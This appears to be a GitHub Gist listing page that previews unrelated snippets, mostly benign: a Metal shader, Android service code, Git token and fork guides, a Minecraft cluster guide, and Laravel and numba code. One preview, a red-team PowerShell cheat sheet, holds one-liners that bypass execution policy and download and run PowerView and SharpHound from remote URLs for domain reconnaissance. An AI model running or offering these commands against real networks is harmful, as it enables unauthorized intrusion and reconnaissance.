Skip to content

Instantly share code, notes, and snippets.

@realvjy
realvjy / ChoasLinesShader.metal
Last active May 9, 2024 00:42
Choas Lines - Metal Shader
// Lines
float hash( float n ) {
return fract(sin(n)*753.5453123);
}
// Slight modification of iq's noise function.
float noise(vector_float2 x )
{
vector_float2 p = floor(x);
vector_float2 f = fract(x);
@granoeste
granoeste / MainActivity.java
Created August 29, 2012 08:13
[Android] Service Bind/Unbind
public class MainActivity extends Activity {
private static final String TAG = MainActivity.class.getSimpleName();
private final MainActivity self = this;
MainService mService;
MyServiceConnection mConn;
boolean mIsBound;
@Override
public void onCreate(Bundle savedInstanceState) {
@jonjack
jonjack / add-update-refresh-github-access-token-on-mac.md
Last active May 9, 2024 00:38
Adding & Updating GitHub Access Token on Mac

Using an Access Token for the first time

Follow the instructions on Github to Create an Access Token in Github

Configure Git to use the osxkeychain

By default, git credentials are not cached so you need to tell Git if you want to avoid having to provide them each time Github requires you to authenticate. On Mac, Git comes with an “osxkeychain” mode, which caches credentials in the secure keychain that’s attached to your system account.

You can tell Git you want to store credentials in the osxkeychain by running the following:-

@0xjac
0xjac / private_fork.md
Last active May 9, 2024 00:37
Create a private fork of a public repository

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

  1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare git@github.com:usi-systems/easytrace.git

@gabrielsson
gabrielsson / minecraft-on-raspberry-pi.md
Last active May 9, 2024 00:32
Minecraft on Raspberry Pi cluster with metrics

alt

Minecraft on Raspberry Pi cluster with metrics

Ever wanted to put your Rapsberry Pi cluster to great use? Our team is working remotely, so we started to play Minecraft. I decided I would host the Minecraft server on my Raspberry Pi cluster. This gist will guide you through the steps I took to get a k3s cluster up with k3sup and later installed Minecraft as well as metrics exporter and Prometheus Operator

Why?

Quoniam Possumus - Because we can

You'll need

@lftbrts
lftbrts / gitignore_symlinks.txt
Created May 16, 2017 11:53
git ignore symlinks
@MHaggis
MHaggis / RedTeam_CheatSheet.ps1
Created November 25, 2019 16:06 — forked from m8sec/RedTeam_CheatSheet.ps1
Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@armadeas
armadeas / SearchBuilderScope.php
Last active May 9, 2024 00:30
Yajra\DataTables\Contracts\DataTableScope for SearchBuilder
<?php
namespace App\DataTables\Scopes;
//use Debugbar;
use Yajra\DataTables\Contracts\DataTableScope;
//use App\Models\Concerns\SearchBuilder;
class SearchBuilderScope implements DataTableScope
@DannyWeitekamp
DannyWeitekamp / str_float.py
Created October 21, 2023 02:40
Implementing str(float) in numba
import numba
import numpy as np
import numba
from numba import types, jit,njit, generated_jit
from numba import deferred_type, optional
from numba import void,b1,u1,u2,u4,u8,i1,i2,i4,i8,f4,f8,c8,c16
from numba.typed import List, Dict
from numba.types import ListType, unicode_type, UnicodeType
from numba.cpython.unicode import _empty_string, _set_code_point, _get_code_point, PY_UNICODE_1BYTE_KIND
from numba.extending import overload, overload_method
<?php
namespace App\Models\Concerns;
trait SearchBuilder
{
public function scopeSearchBuilder($query)
{
if (request()->filled('searchBuilder') && request()->query('searchBuilder') !== 'false') {
$query->where(function ($query) {